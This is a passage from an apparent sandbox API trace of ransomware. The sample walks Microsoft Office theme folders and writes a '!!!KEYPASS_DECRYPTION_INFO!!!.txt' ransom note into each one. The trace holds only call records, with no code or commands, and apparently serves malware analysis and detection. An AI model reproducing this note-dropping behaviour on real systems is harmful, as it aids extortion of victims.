Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.316] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUECALM\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.540] GetFileType (hFile=0xcbc) returned 0x1 [0268.540] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.540] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.541] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.553] CloseHandle (hObject=0xcbc) returned 1 [0268.554] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.554] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.554] GetLastError () returned 0x3f0 [0268.554] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.554] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BLUEPRNT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.556] GetFileType (hFile=0xcb4) returned 0x1 [0268.556] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.556] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.556] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.557] CloseHandle (hObject=0xcb4) returned 1 [0268.557] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.557] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.557] GetLastError () returned 0x3f0 [0268.557] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.557] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BOLDSTRI\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.585] GetFileType (hFile=0xcc0) returned 0x1 [0268.586] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.586] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.586] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.586] CloseHandle (hObject=0xcc0) returned 1 [0268.587] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.587] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.587] GetLastError () returned 0x3f0 [0268.587] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.587] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\BREEZE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.588] GetFileType (hFile=0xcc4) returned 0x1 [0268.589] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.589] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.589] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.589] CloseHandle (hObject=0xcc4) returned 1 [0268.589] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.589] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.589] GetLastError () returned 0x3f0 [0268.590] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.590] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CANYON\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.605] GetFileType (hFile=0xccc) returned 0x1 [0268.605] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.605] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.605] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.606] CloseHandle (hObject=0xccc) returned 1 [0268.607] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.607] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.607] GetLastError () returned 0x3f0 [0268.607] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.607] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.608] GetFileType (hFile=0xcd0) returned 0x1 [0268.608] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.608] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.608] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.609] CloseHandle (hObject=0xcd0) returned 1 [0268.609] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.609] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.609] GetLastError () returned 0x3f0 [0268.610] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.610] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CASCADE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.703] GetFileType (hFile=0xcd4) returned 0x1 [0268.703] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.703] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.703] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.704] CloseHandle (hObject=0xcd4) returned 1 [0268.704] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.704] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.704] GetLastError () returned 0x3f0 [0268.704] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.704] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\COMPASS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.737] GetFileType (hFile=0xcc8) returned 0x1 [0268.737] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.737] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.737] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.738] CloseHandle (hObject=0xcc8) returned 1 [0268.738] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.738] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.738] GetLastError () returned 0x3f0 [0268.738] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.738] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CONCRETE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.740] GetFileType (hFile=0xcd8) returned 0x1 [0268.740] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.740] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.740] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.741] CloseHandle (hObject=0xcd8) returned 1 [0268.741] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.741] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.741] GetLastError () returned 0x3f0 [0268.741] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.741] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\DEEPBLUE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.779] GetFileType (hFile=0xce0) returned 0x1 [0268.779] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.779] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.779] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.780] CloseHandle (hObject=0xce0) returned 1 [0268.780] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.780] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.780] GetLastError () returned 0x3f0 [0268.780] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.780] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.782] GetFileType (hFile=0xcdc) returned 0x1 [0268.782] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.782] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.782] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.783] CloseHandle (hObject=0xcdc) returned 1 [0268.783] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.783] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.783] GetLastError () returned 0x3f0 [0268.783] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.783] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.785] GetFileType (hFile=0xce4) returned 0x1 [0268.785] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.785] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.785] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.786] CloseHandle (hObject=0xce4) returned 1 [0268.786] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.786] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.786] GetLastError () returned 0x3f0 [0268.786] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.786] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EDGE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.788] GetFileType (hFile=0xce8) returned 0x1 [0268.789] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.789] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.789] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.789] CloseHandle (hObject=0xce8) returned 1 [0268.790] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.790] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.790] GetLastError () returned 0x3f0 [0268.790] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.790] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.792] GetFileType (hFile=0xcec) returned 0x1 [0268.792] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.792] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.792] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.793] CloseHandle (hObject=0xcec) returned 1 [0268.793] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.793] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.793] GetLastError () returned 0x3f0 [0268.793] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.793] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.794] GetFileType (hFile=0xcf0) returned 0x1 [0268.795] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.795] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.795] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.795] CloseHandle (hObject=0xcf0) returned 1 [0268.796] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.796] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.796] GetLastError () returned 0x3f0 [0268.796] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.796] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.797] GetFileType (hFile=0xcf8) returned 0x1 [0268.797] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.797] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.797] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.797] CloseHandle (hObject=0xcf8) returned 1 [0268.798] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.798] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.798] GetLastError () returned 0x3f0 [0268.798] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.798] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\INDUST\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.820] GetFileType (hFile=0xcf4) returned 0x1 [0268.820] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.820] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.820] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.821] CloseHandle (hObject=0xcf4) returned 1 [0268.821] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.821] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.821] GetLastError () returned 0x3f0 [0268.821] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.821] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.823] GetFileType (hFile=0xcfc) returned 0x1 [0268.823] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.823] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.823] GetLocaleInfoEx (in: 